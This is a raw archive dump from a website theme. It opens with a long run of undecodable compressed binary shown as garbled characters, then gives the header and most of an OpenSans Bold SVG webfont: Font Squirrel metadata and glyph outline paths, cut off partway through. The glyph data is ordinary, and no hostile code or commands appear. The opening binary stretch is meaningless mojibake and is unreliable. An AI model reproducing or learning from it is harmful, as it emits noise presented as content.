?ӂ9j�ˎq��IhIj�Uq��Š
�*U,:���,��U����s�#8$.9U\z��E�2�D�5��VC�-��
vHl_��*)\f�/-^u%��G�,���|���bu�$�P���i+7��ZOO�u�/����'�ٛ��#c7/�S�:�����N.�=C�+�u�-F��ު�*}\�I��i���W���3��
�e��``[���5K��.�;4K�����շ�d����עX��Y����c�SV�/�[��`��=���ce��pu��™��犄x��w��|�>|���?<-�/��a4��6�����#*Gն
�uq��k�:��7&	�P.]AWP�����|�B�k�/������P�d����˰���n*sIw�#�,�"����-���Ê*��`RyYX��J�*��A���GO���0 @��
Y��g 煱�H��SU�����{Sz&�ճ�(��h��^zHro�A��<���@�ƶ@�W{��-����ޢt��PK�f��nRsZ7�TJ��t8�$5t
��x�*�W���]�,��P��nɜ�>����?=TPܩ�*��~�G�_�E��*={���R���!aw5;�{�c��B0�{�/Tk���v,$�7�2л������o���<q|��w���5w����lG�5��po������o'�;�v�X���䈎�?�"�_�/DT�{W��cLPzi�=�)��7r�_,�QI����{��?�>������.�M���$��Hۇ��Hȋ�̎���L��&!t0-S����V��/�y�Ex�c`d```���kR�x~��� p�m�'�����5{13Hu-�x�c`d`��H2�}�%�5C
�(2x�l�x�m�Qd[Qƿ{��[5}
S{�Uч���*�LE�45�1���CL"�*�P}�KU�LDU�1��Q}�<��a�������af���}�&!����ܿ�ˑ8j���<�k��I�%�)�Ew�(ڪ�y�4yI�ε��1�jq�bO��X{@��5�c�s��,�i�h���ٶg�u���뙊�E(?Prs�E�D�V�����U��^�Y��=➠$վ~�Z��'��†���'ВS�.kx'��H����uEf�SfN
ΕbI��3�}~�%ueyd6�3�l�^�z��O �ui�>s`{xn�۸�S�p� �x�-�,I�#����:1�u��;�����ޡJ�P�=ߜc�A��mx{(k���D*��&0�:o���fI��;���	l��5�j�~�
���“>]�>�~~�y0�(�!��`V� ��p�U�S��0Q6��n��.��Y/�az9Dܵ*��d��u����(�a�E�5�2D��~;W���]e}��o�W�*�W��_�2�9��}�O��;-I����"��Kޝ��>�m��B������lfu�s��.r��)XF`�4���x�c``0���I�EL�\�3�w0?cb1c�`�ò���V/�I�������c?��Ʊ����gg��;�2�����L��kŻ���_�.��be�#�	���"�! <G�����H���="DMD����!n#�E�M⊤��
�;RmR?�ݤO�$�̒�'�'{B��\���{�|���(�)��/�3�Ĕ&)�SfQ��|C�L��U)U�Wj,j!jKԾ�g�O�P�H���X�qCSA�I3H3I�H��+�oZLZ|ZRZjZyZUZmZ���i��ڦuH��-�������K���8��D�����ӝ��Dw����Wt�-�[��C���;z/��3���7����_��I��)>�6�I�Vl38de�f8�H�����.�=8�*���LL�L�L�L�L��<12u2
�"�i�ˀ�Y��#�f�9,t,�Gh���H;mx�u�MN�P��
��8|#D`	B4�@�,?I�B��
W�;q�2X�罾��4��w�jL�T�@.<�ZQ�/����

�=�����Kn�y~�{�H�&̄��I�F�Gb2�l�Ϫ��~��B۳.��>I�I����/��m������\,f*��΃^��M���!�X���	�9�{�.�{��h���ZV(���=ҖW��l4I�23�>ŭƺ�Q4w;?<CVlT)����α�^%�E?Kux�m�GlSa��Ӵiӽw�{���4-;�	{�M�MF)aO��@H�@� �����F�3[
Wx��a��>X��
�4�"�⇙������xp�Hɤ�J�d�I��K�PHŔЌ洠%�hM�Ҏ�t�#��L��

n<�⥌r�Ӄ��7}�?�� @��` ���2��`$���2��L`"����2��̠Rlf=��^>���lcG9"1l�=��#v�e�ı�[|�9�/��!Np���d&��E��x�#���^�眢����5/yE-_��ff�K�g��@��,b1_X�2������2Y�*ְ�o���Ӝ�*o��;��qJ�$I��H��I�dH�dI6g9�E.q��\��8.9��&�$W�$��R �R$�R�օ5ͧ)+,��ҥ�(˛44MS�JC�R��e�ҫ,S�����\]w��5�HuUeC��2����mD#�ME@��[��J��G%��x�E�;�@��區�M0ڭ�Ph�0&&l�,�l��ԳV���C���yAsC���mU<t]HU�0�%�;*�z�R*�f����d��<��>!�0<��d�Y��ۡ��`�g°vʐk����ۃ&���j��#�.n��KCS�Q�)I�$��?�fr�1U[HG>PK!o�s?�?�9bluetheme/assets/fonts/OpenSans/OpenSans-Bold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansBold" horiz-adv-x="1169" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="586" d="M117 143q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5zM121 1462h346l-51 -977h-244z" />
<glyph unicode="&#x22;" horiz-adv-x="967" d="M133 1462h279l-41 -528h-197zM555 1462h279l-41 -528h-197z" />
<glyph unicode="#" horiz-adv-x="1323" d="M45 406v206h277l47 232h-252v209h289l77 407h219l-77 -407h198l78 407h215l-78 -407h240v-209h-279l-47 -232h258v-206h-297l-77 -406h-220l78 406h-194l-76 -406h-215l74 406h-238zM539 612h196l47 232h-196z" />
<glyph unicode="$" d="M88 1049q0 145 113.5 238.5t316.5 113.5v153h137v-149q229 -10 414 -92l-94 -234q-156 64 -320 78v-295q195 -75 277.5 -130t121 -121t38.5 -154q0 -159 -115 -255.5t-322 -115.5v-205h-137v201q-244 5 -428 86v264q87 -43 209.5 -76t218.5 -39v310l-67 26 q-198 78 -280.5 169.5t-82.5 226.5zM389 1049q0 -44 30.5 -72.5t98.5 -58.5v235q-129 -19 -129 -104zM655 324q136 23 136 118q0 42 -34 71t-102 60v-249z" />
<glyph unicode="%" horiz-adv-x="1845" d="M63 1026q0 457 345 457q169 0 259.5 -118.5t90.5 -338.5q0 -230 -89 -345.5t-261 -115.5q-165 0 -255 118.5t-90 342.5zM315 1024q0 -127 22.5 -189.5t72.5 -62.5q96 0 96 252q0 250 -96 250q-50 0 -72.5 -61.5t-22.5 -188.5zM395 0l811 1462h240l-811 -1462h-240z M1087 442q0 457 345 457q169 0 259.5 -118.5t90.5 -338.5q0 -229 -89 -344.5t-261 -115.5q-165 0 -255 118.5t-90 341.5zM1339 440q0 -127 22.5 -189.5t72.5 -62.5q96 0 96 252q0 250 -96 250q-50 0 -72.5 -61.5t-22.5 -188.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1536" d="M82 395q0 137 60.5 233.5t207.5 180.5q-75 86 -109 164.5t-34 171.5q0 152 116.5 245t311.5 93q186 0 297.5 -86.5t111.5 -231.5q0 -119 -69 -217.5t-223 -187.5l284 -277q71 117 123 301h318q-36 -135 -99 -263.5t-143 -227.5l301 -293h-377l-115 113 q-191 -133 -432 -133q-244 0 -387 112t-143 303zM403 424q0 -86 64.5 -137t165.5 -51q126 0 227 61l-332 330q-58 -44 -91.5 -92t-33.5 -111zM489 1124q0 -88 95 -194q86 48 132 94.5t46 108.5q0 53 -36 83.5t-93 30.5q-67 0 -105.5 -32t-38.5 -91z" />
<glyph unicode="'" horiz-adv-x="545" d="M133 1462h279l-41 -528h-197z" />
<glyph unicode="(" horiz-adv-x="694" d="M82 561q0 265 77.5 496t223.5 405h250q-141 -193 -213 -424t-72 -475q0 -245 73.5 -473.5t209.5 -413.5h-248q-147 170 -224 397t-77 488z" />
<glyph unicode=")" horiz-adv-x="694" d="M61 1462h250q147 -175 224 -406.5t77 -494.5t-77.5 -490t-223.5 -395h-248q135 184 209 412.5t74 474.5q0 244 -72 475t-213 424z" />
<glyph unicode="*" horiz-adv-x="1116" d="M63 1042l39 250l365 -104l-41 368h262l-41 -368l373 104l33 -252l-340 -24l223 -297l-227 -121l-156 313l-137 -311l-236 119l221 297z" />
<glyph unicode="+" d="M88 612v219h387v390h219v-390h387v-219h-387v-385h-219v385h-387z" />
<glyph unicode="," horiz-adv-x="594" d="M63 -264q65 266 101 502h280l15 -23q-52 -202 -176 -479h-220z" />
<glyph unicode="-" horiz-adv-x="659" d="M61 424v250h537v-250h-537z" />
<glyph unicode="." horiz-adv-x="584" d="M117 143q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5z" />
<glyph unicode="/" horiz-adv-x="846" d="M14 0l545 1462h277l-545 -1462h-277z" />
<glyph unicode="0" d="M74 731q0 387 125 570.5t385 183.5q253 0 382.5 -192t129.5 -562q0 -383 -125.5 -567t-386.5 -184q-253 0 -381.5 190t-128.5 561zM381 731q0 -269 46.5 -385.5t156.5 -116.5q108 0 156 118t48 384q0 269 -48.5 386.5t-155.5 117.5q-109 0 -156 -117.5t-47 -386.5z" />
<glyph unicode="1" d="M121 1087l471 375h254v-1462h-309v846l3 139l5 152q-77 -77 -107 -101l-168 -135z" />
<glyph unicode="2" d="M78 1274q108 92 179 130t155 58.5t188 20.5q137 0 242 -50t163 -140t58 -206q0 -101 -35.5 -189.5t-110 -181.5t-262.5 -265l-188 -177v-14h637v-260h-1022v215l367 371q163 167 213 231.5t72 119.5t22 114q0 88 -48.5 131t-129.5 43q-85 0 -165 -39t-167 -111z" />
<glyph unicode="3" d="M78 59v263q85 -43 187 -70t202 -27q153 0 226 52t73 167q0 103 -84 146t-268 43h-111v237h113q170 0 248.5 44.5t78.5 152.5q0 166 -208 166q-72 0 -146.5 -24t-165.5 -83l-143 213q200 144 477 144q227 0 358.5 -92t131.5 -256q0 -137 -83 -233t-233 -132v-6 q177 -22 268 -107.5t91 -230.5q0 -211 -153 -328.5t-437 -117.5q-238 0 -422 79z" />
<glyph unicode="4" d="M35 303v215l641 944h285v-919h176v-240h-176v-303h-302v303h-624zM307 543h352v248q0 62 5 180t8 137h-8q-37 -82 -89 -160z" />
<glyph unicode="5" d="M100 59v267q79 -42 184 -68.5t199 -26.5q283 0 283 232q0 221 -293 221q-53 0 -117 -10.5t-104 -22.5l-123 66l55 745h793v-262h-522l-27 -287l35 7q61 14 151 14q212 0 337.5 -119t125.5 -326q0 -245 -151 -377t-432 -132q-244 0 -394 79z" />
<glyph unicode="6" d="M72 621q0 434 183.5 646t549.5 212q125 0 196 -15v-247q-89 20 -176 20q-159 0 -259.5 -48t-150.5 -142t-59 -267h13q99 170 317 170q196 0 307 -123t111 -340q0 -234 -132 -370.5t-366 -136.5q-162 0 -282.5 75t-186 219t-65.5 347zM379 510q0 -119 62.5 -201t158.5 -82 q99 0 152 66.5t53 189.5q0 107 -49.5 168.5t-149.5 61.5q-94 0 -160.5 -61t-66.5 -142z" />
<glyph unicode="7" d="M55 1200v260h1049v-194l-553 -1266h-324l549 1200h-721z" />
<glyph unicode="8" d="M72 371q0 125 66.5 222t213.5 171q-125 79 -180 169t-55 197q0 157 130 254t339 97q210 0 338.5 -95.5t128.5 -257.5q0 -112 -62 -199.5t-200 -156.5q164 -88 235.5 -183.5t71.5 -209.5q0 -180 -141 -289.5t-371 -109.5q-240 0 -377 102t-137 289zM358 389q0 -86 60 -134 t164 -48q115 0 172 49.5t57 130.5q0 67 -56.5 125.5t-183.5 124.5q-213 -98 -213 -248zM408 1106q0 -60 38.5 -107.5t139.5 -97.5q98 46 137 94t39 111q0 69 -50 109t-128 40q-79 0 -127.5 -40.5t-48.5 -108.5z" />
<glyph unicode="9" d="M66 971q0 235 133.5 371.5t363.5 136.5q162 0 283.5 -76t186.5 -220.5t65 -344.5q0 -432 -182 -645t-551 -213q-130 0 -197 14v248q84 -21 176 -21q155 0 255 45.5t153 143t61 268.5h-12q-58 -94 -134 -132t-190 -38q-191 0 -301 122.5t-110 340.5zM365 975 q0 -106 49 -168t149 -62q94 0 161 61.5t67 141.5q0 119 -62.5 201t-159.5 82q-96 0 -150 -66t-54 -190z" />
<glyph unicode=":" horiz-adv-x="584" d="M117 143q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5zM117 969q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -81 -46.5 -125.5t-127.5 -44.5q-84 0 -130 44t-46 126z" />
<glyph unicode=";" horiz-adv-x="594" d="M63 -264q65 266 101 502h280l15 -23q-52 -202 -176 -479h-220zM117 969q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -81 -46.5 -125.5t-127.5 -44.5q-84 0 -130 44t-46 126z" />
<glyph unicode="&#x3c;" d="M88 641v143l993 496v-240l-684 -317l684 -281v-239z" />
<glyph unicode="=" d="M88 418v219h993v-219h-993zM88 805v219h993v-219h-993z" />
<glyph unicode="&#x3e;" d="M88 203v239l684 281l-684 317v240l993 -496v-143z" />
<glyph unicode="?" horiz-adv-x="977" d="M6 1358q223 125 473 125q206 0 327.5 -99t121.5 -264q0 -110 -50 -190t-190 -180q-96 -71 -121.5 -108t-25.5 -97v-60h-265v74q0 96 41 167t150 151q105 75 138.5 122t33.5 105q0 65 -48 99t-134 34q-150 0 -342 -98zM244 143q0 84 45 127t131 43q83 0 128.5 -44 t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5z" />
<glyph unicode="@" horiz-adv-x="1837" d="M102 602q0 247 108.5 448.5t309 316t461.5 114.5q220 0 393 -90t267 -256t94 -383q0 -144 -46 -263.5t-130 -187.5t-195 -68q-74 0 -131 35.5t-82 93.5h-16q-108 -129 -275 -129q-177 0 -279 106.5t-102 291.5q0 211 134 340t350 129q86 0 189.5 -16.5t170.5 -39.5 l-23 -489q0 -139 76 -139q64 0 102 93.5t38 244.5q0 161 -67 284.5t-188.5 188.5t-277.5 65q-202 0 -351 -83t-228.5 -239.5t-79.5 -361.5q0 -276 147.5 -423.5t427.5 -147.5q106 0 233 23.5t250 68.5v-192q-214 -91 -475 -91q-380 0 -592.5 200t-212.5 556zM711 627 q0 -211 172 -211q90 0 137 63.5t57 206.5l13 221q-51 11 -115 11q-125 0 -194.5 -78t-69.5 -213z" />
<glyph unicode="A" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633z" />
<glyph unicode="B" horiz-adv-x="1376" d="M184 0v1462h455q311 0 451.5 -88.5t140.5 -281.5q0 -131 -61.5 -215t-163.5 -101v-10q139 -31 200.5 -116t61.5 -226q0 -200 -144.5 -312t-392.5 -112h-547zM494 256h202q128 0 189 49t61 150q0 182 -260 182h-192v-381zM494 883h180q126 0 182.5 39t56.5 129 q0 84 -61.5 120.5t-194.5 36.5h-163v-325z" />
<glyph unicode="C" horiz-adv-x="1305" d="M119 729q0 228 83 399.5t238.5 263t364.5 91.5q213 0 428 -103l-100 -252q-82 39 -165 68t-163 29q-175 0 -271 -131.5t-96 -366.5q0 -489 367 -489q154 0 373 77v-260q-180 -75 -402 -75q-319 0 -488 193.5t-169 555.5z" />
<glyph unicode="D" horiz-adv-x="1516" d="M184 0v1462h459q358 0 556 -189t198 -528q0 -361 -205.5 -553t-593.5 -192h-414zM494 256h133q448 0 448 481q0 471 -416 471h-165v-952z" />
<glyph unicode="E" horiz-adv-x="1147" d="M184 0v1462h842v-254h-532v-321h495v-254h-495v-377h532v-256h-842z" />
<glyph unicode="F" horiz-adv-x="1124" d="M184 0v1462h838v-254h-533v-377h496v-253h-496v-578h-305z" />
<glyph unicode="G" horiz-adv-x="1483" d="M119 733q0 354 202.5 552t561.5 198q225 0 434 -90l-103 -248q-160 80 -333 80q-201 0 -322 -135t-121 -363q0 -238 97.5 -363.5t283.5 -125.5q97 0 197 20v305h-277v258h580v-758q-141 -46 -265.5 -64.5t-254.5 -18.5q-331 0 -505.5 194.5t-174.5 558.5z" />
<glyph unicode="H" horiz-adv-x="1567" d="M184 0v1462h310v-573h579v573h309v-1462h-309v631h-579v-631h-310z" />
<glyph unicode="I" horiz-adv-x="678" d="M184 0v1462h310v-1462h-310z" />
<glyph unicode="J" horiz-adv-x="678" d="M-152 -150q80 -20 146 -20q102 0 146 63.5t44 198.5v1370h310v-1368q0 -256 -117 -390t-346 -134q-105 0 -183 22v258z" />
<glyph unicode="K" horiz-adv-x="1360" d="M184 0v1462h310v-669l122 172l396 497h344l-510 -647l514 -815h-352l-383 616l-131 -94v-522h-310z" />
<glyph unicode="L" horiz-adv-x="1157" d="M184 0v1462h310v-1206h593v-256h-903z" />
<glyph unicode="M" horiz-adv-x="1931" d="M184 0v1462h422l346 -1118h6l367 1118h422v-1462h-289v692q0 49 1.5 113t13.5 340h-9l-377 -1145h-284l-352 1147h-9q19 -350 19 -467v-680h-277z" />
<glyph unicode="N" horiz-adv-x="1665" d="M184 0v1462h391l635 -1095h7q-15 285 -15 403v692h279v-1462h-394l-636 1106h-9q19 -293 19 -418v-688h-277z" />
<glyph unicode="O" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5z" />
<glyph unicode="P" horiz-adv-x="1286" d="M184 0v1462h467q266 0 404.5 -114.5t138.5 -341.5q0 -236 -147.5 -361t-419.5 -125h-133v-520h-310zM494 774h102q143 0 214 56.5t71 164.5q0 109 -59.5 161t-186.5 52h-141v-434z" />
<glyph unicode="Q" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -258 -91.5 -432.5t-268.5 -255.5l352 -393h-397l-268 328h-23q-336 0 -516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5z" />
<glyph unicode="R" horiz-adv-x="1352" d="M184 0v1462h426q298 0 441 -108.5t143 -329.5q0 -129 -71 -229.5t-201 -157.5q330 -493 430 -637h-344l-349 561h-165v-561h-310zM494 813h100q147 0 217 49t70 154q0 104 -71.5 148t-221.5 44h-94v-395z" />
<glyph unicode="S" horiz-adv-x="1128" d="M94 68v288q148 -66 250.5 -93t187.5 -27q102 0 156.5 39t54.5 116q0 43 -24 76.5t-70.5 64.5t-189.5 99q-134 63 -201 121t-107 135t-40 180q0 194 131.5 305t363.5 111q114 0 217.5 -27t216.5 -76l-100 -241q-117 48 -193.5 67t-150.5 19q-88 0 -135 -41t-47 -107 q0 -41 19 -71.5t60.5 -59t196.5 -102.5q205 -98 281 -196.5t76 -241.5q0 -198 -142.5 -312t-396.5 -114q-234 0 -414 88z" />
<glyph unicode="T" horiz-adv-x="1186" d="M41 1204v258h1104v-258h-397v-1204h-310v1204h-397z" />
<glyph unicode="U" horiz-adv-x="1548" d="M174 520v942h309v-895q0 -169 68 -248t225 -79q152 0 220.5 79.5t68.5 249.5v893h309v-946q0 -162 -72.5 -284t-209.5 -187t-324 -65q-282 0 -438 144.5t-156 395.5z" />
<glyph unicode="V" horiz-adv-x="1331" d="M0 1462h313l275 -870q23 -77 47.5 -179.5t30.5 -142.5q11 92 75 322l277 870h313l-497 -1462h-338z" />
<glyph unicode="W" horiz-adv-x="1980" d="M0 1462h305l187 -798q49 -221 71 -383q6 57 27.5 176.5t40.5 185.5l213 819h293l213 -819q14 -55 35 -168t32 -194q10 78 32 194.5t40 188.5l186 798h305l-372 -1462h-353l-198 768q-11 41 -37.5 169.5t-30.5 172.5q-6 -54 -30 -173.5t-37 -170.5l-197 -766h-352z" />
<glyph unicode="X" horiz-adv-x="1366" d="M0 0l485 754l-454 708h342l315 -526l309 526h334l-459 -725l494 -737h-354l-340 553l-340 -553h-332z" />
<glyph unicode="Y" horiz-adv-x="1278" d="M0 1462h336l303 -602l305 602h334l-485 -893v-569h-308v559z" />
<glyph unicode="Z" horiz-adv-x="1186" d="M49 0v201l701 1005h-682v256h1050v-200l-700 -1006h719v-256h-1088z" />
<glyph unicode="[" horiz-adv-x="678" d="M143 -324v1786h484v-211h-224v-1364h224v-211h-484z" />
<glyph unicode="\" horiz-adv-x="846" d="M12 1462h277l545 -1462h-277z" />
<glyph unicode="]" horiz-adv-x="678" d="M51 -113h223v1364h-223v211h484v-1786h-484v211z" />
<glyph unicode="^" horiz-adv-x="1090" d="M8 520l438 950h144l495 -950h-239l-322 643l-280 -643h-236z" />
<glyph unicode="_" horiz-adv-x="842" d="M-4 -184h850v-140h-850v140z" />
<glyph unicode="`" horiz-adv-x="1243" d="M332 1548v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="a" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134z" />
<glyph unicode="b" horiz-adv-x="1296" d="M160 0v1556h305v-362q0 -69 -12 -221h12q107 166 317 166q198 0 310 -154.5t112 -423.5q0 -277 -115.5 -429t-314.5 -152q-197 0 -309 143h-21l-51 -123h-233zM465 563q0 -180 53.5 -258t169.5 -78q94 0 149.5 86.5t55.5 251.5t-56 247.5t-153 82.5q-113 0 -165 -69.5 t-54 -229.5v-33z" />
<glyph unicode="c" horiz-adv-x="1053" d="M92 553q0 285 142 435.5t407 150.5q194 0 348 -76l-90 -236q-72 29 -134 47.5t-124 18.5q-238 0 -238 -338q0 -328 238 -328q88 0 163 23.5t150 73.5v-261q-74 -47 -149.5 -65t-190.5 -18q-522 0 -522 573z" />
<glyph unicode="d" horiz-adv-x="1296" d="M92 557q0 275 114.5 428.5t315.5 153.5q211 0 322 -164h10q-23 125 -23 223v358h306v-1556h-234l-59 145h-13q-104 -165 -317 -165q-197 0 -309.5 153t-112.5 424zM401 553q0 -165 57 -247.5t163 -82.5q117 0 171.5 68t59.5 231v33q0 180 -55.5 258t-180.5 78 q-102 0 -158.5 -86.5t-56.5 -251.5z" />
<glyph unicode="e" horiz-adv-x="1210" d="M92 551q0 281 140.5 434.5t388.5 153.5q237 0 369 -135t132 -373v-148h-721q5 -130 77 -203t202 -73q101 0 191 21t188 67v-236q-80 -40 -171 -59.5t-222 -19.5q-270 0 -422 149t-152 422zM408 686h428q-2 113 -59 174.5t-154 61.5t-152 -61.5t-63 -174.5z" />
<glyph unicode="f" horiz-adv-x="793" d="M41 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5v-70h264v-229h-264v-889h-305v889h-168z" />
<glyph unicode="g" horiz-adv-x="1157" d="M6 -182q0 101 63 169t185 97q-47 20 -82 65.5t-35 96.5q0 64 37 106.5t107 83.5q-88 38 -139.5 122t-51.5 198q0 183 119 283t340 100q47 0 111.5 -8.5t82.5 -12.5h390v-155l-175 -45q48 -75 48 -168q0 -180 -125.5 -280.5t-348.5 -100.5l-55 3l-45 5q-47 -36 -47 -80 q0 -66 168 -66h190q184 0 280.5 -79t96.5 -232q0 -196 -163.5 -304t-469.5 -108q-234 0 -357.5 81.5t-123.5 228.5zM270 -158q0 -63 60.5 -99t169.5 -36q164 0 257 45t93 123q0 63 -55 87t-170 24h-158q-84 0 -140.5 -39.5t-56.5 -104.5zM381 752q0 -91 41.5 -144t126.5 -53 q86 0 126 53t40 144q0 202 -166 202q-168 0 -168 -202z" />
<glyph unicode="h" horiz-adv-x="1346" d="M160 0v1556h305v-317q0 -37 -7 -174l-7 -90h16q102 164 324 164q197 0 299 -106t102 -304v-729h-305v653q0 242 -180 242q-128 0 -185 -87t-57 -282v-526h-305z" />
<glyph unicode="i" horiz-adv-x="625" d="M147 1407q0 149 166 149t166 -149q0 -71 -41.5 -110.5t-124.5 -39.5q-166 0 -166 150zM160 0v1118h305v-1118h-305z" />
<glyph unicode="j" horiz-adv-x="625" d="M-131 -227q70 -19 143 -19q77 0 112.5 43t35.5 127v1194h305v-1239q0 -178 -103 -274.5t-292 -96.5q-117 0 -201 25v240zM147 1407q0 149 166 149t166 -149q0 -71 -41.5 -110.5t-124.5 -39.5q-166 0 -166 150z" />
<glyph unicode="k" horiz-adv-x="1270" d="M160 0v1556h305v-694l-16 -254h4l133 170l313 340h344l-444 -485l471 -633h-352l-322 453l-131 -105v-348h-305z" />
<glyph unicode="l" horiz-adv-x="625" d="M160 0v1556h305v-1556h-305z" />
<glyph unicode="m" horiz-adv-x="2011" d="M160 0v1118h233l41 -143h17q45 77 130 120.5t195 43.5q251 0 340 -164h27q45 78 132.5 121t197.5 43q190 0 287.5 -97.5t97.5 -312.5v-729h-306v653q0 121 -40.5 181.5t-127.5 60.5q-112 0 -167.5 -80t-55.5 -254v-561h-305v653q0 121 -40.5 181.5t-127.5 60.5 q-117 0 -170 -86t-53 -283v-526h-305z" />
<glyph unicode="n" horiz-adv-x="1346" d="M160 0v1118h233l41 -143h17q51 81 140.5 122.5t203.5 41.5q195 0 296 -105.5t101 -304.5v-729h-305v653q0 121 -43 181.5t-137 60.5q-128 0 -185 -85.5t-57 -283.5v-526h-305z" />
<glyph unicode="o" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5z" />
<glyph unicode="p" horiz-adv-x="1296" d="M160 -492v1610h248l43 -145h14q107 166 317 166q198 0 310 -153t112 -425q0 -179 -52.5 -311t-149.5 -201t-228 -69q-197 0 -309 143h-16q16 -140 16 -162v-453h-305zM465 563q0 -180 53.5 -258t169.5 -78q205 0 205 338q0 165 -50.5 247.5t-158.5 82.5 q-113 0 -165 -69.5t-54 -229.5v-33z" />
<glyph unicode="q" horiz-adv-x="1296" d="M92 557q0 274 114.5 428t313.5 154q106 0 185 -40t139 -124h8l27 143h258v-1610h-306v469q0 61 13 168h-13q-49 -81 -130 -123t-187 -42q-198 0 -310 152.5t-112 424.5zM403 553q0 -168 53.5 -251t166.5 -83q116 0 170 66.5t59 232.5v37q0 180 -55.5 258t-178.5 78 q-215 0 -215 -338z" />
<glyph unicode="r" horiz-adv-x="930" d="M160 0v1118h231l45 -188h15q52 94 140.5 151.5t192.5 57.5q62 0 103 -9l-23 -286q-37 10 -90 10q-146 0 -227.5 -75t-81.5 -210v-569h-305z" />
<glyph unicode="s" horiz-adv-x="1018" d="M92 827q0 149 115.5 230.5t327.5 81.5q202 0 393 -88l-92 -220q-84 36 -157 59t-149 23q-135 0 -135 -73q0 -41 43.5 -71t190.5 -89q131 -53 192 -99t90 -106t29 -143q0 -172 -119.5 -262t-357.5 -90q-122 0 -208 16.5t-161 48.5v252q85 -40 191.5 -67t187.5 -27 q166 0 166 96q0 36 -22 58.5t-76 51t-144 66.5q-129 54 -189.5 100t-88 105.5t-27.5 146.5z" />
<glyph unicode="t" horiz-adv-x="889" d="M47 889v129l168 102l88 236h195v-238h313v-229h-313v-539q0 -65 36.5 -96t96.5 -31q80 0 192 35v-227q-114 -51 -280 -51q-183 0 -266.5 92.5t-83.5 277.5v539h-146z" />
<glyph unicode="u" horiz-adv-x="1346" d="M154 389v729h305v-653q0 -121 43 -181.5t137 -60.5q128 0 185 85.5t57 283.5v526h305v-1118h-234l-41 143h-16q-49 -78 -139 -120.5t-205 -42.5q-197 0 -297 105.5t-100 303.5z" />
<glyph unicode="v" horiz-adv-x="1165" d="M0 1118h319l216 -637q36 -121 45 -229h6q5 96 45 229l215 637h319l-426 -1118h-313z" />
<glyph unicode="w" horiz-adv-x="1753" d="M20 1118h304l129 -495q31 -133 63 -367h6q4 76 35 241l16 85l138 536h336l131 -536q4 -22 12.5 -65t16.5 -91.5t14.5 -95t7.5 -74.5h6q9 72 32 197.5t33 169.5l134 495h299l-322 -1118h-332l-86 391l-116 494h-7l-204 -885h-328z" />
<glyph unicode="x" horiz-adv-x="1184" d="M10 0l379 571l-360 547h346l217 -356l219 356h346l-364 -547l381 -571h-347l-235 383l-236 -383h-346z" />
<glyph unicode="y" horiz-adv-x="1165" d="M0 1118h334l211 -629q27 -82 37 -194h6q11 103 43 194l207 629h327l-473 -1261q-65 -175 -185.5 -262t-281.5 -87q-79 0 -155 17v242q55 -13 120 -13q81 0 141.5 49.5t94.5 149.5l18 55z" />
<glyph unicode="z" horiz-adv-x="999" d="M55 0v180l518 705h-487v233h834v-198l-504 -687h522v-233h-883z" />
<glyph unicode="{" horiz-adv-x="807" d="M31 449v239q126 0 191 44t65 126v8v318q0 153 97 215.5t341 62.5v-225q-99 -3 -136.5 -38t-37.5 -103v-299q-6 -188 -234 -222v-12q234 -35 234 -212v-9v-299q0 -68 37 -103t137 -38v-226q-244 0 -341 62.5t-97 216.5v315q0 87 -65.5 133t-190.5 46z" />
<glyph unicode="|" horiz-adv-x="1128" d="M455 -465v2015h219v-2015h-219z" />
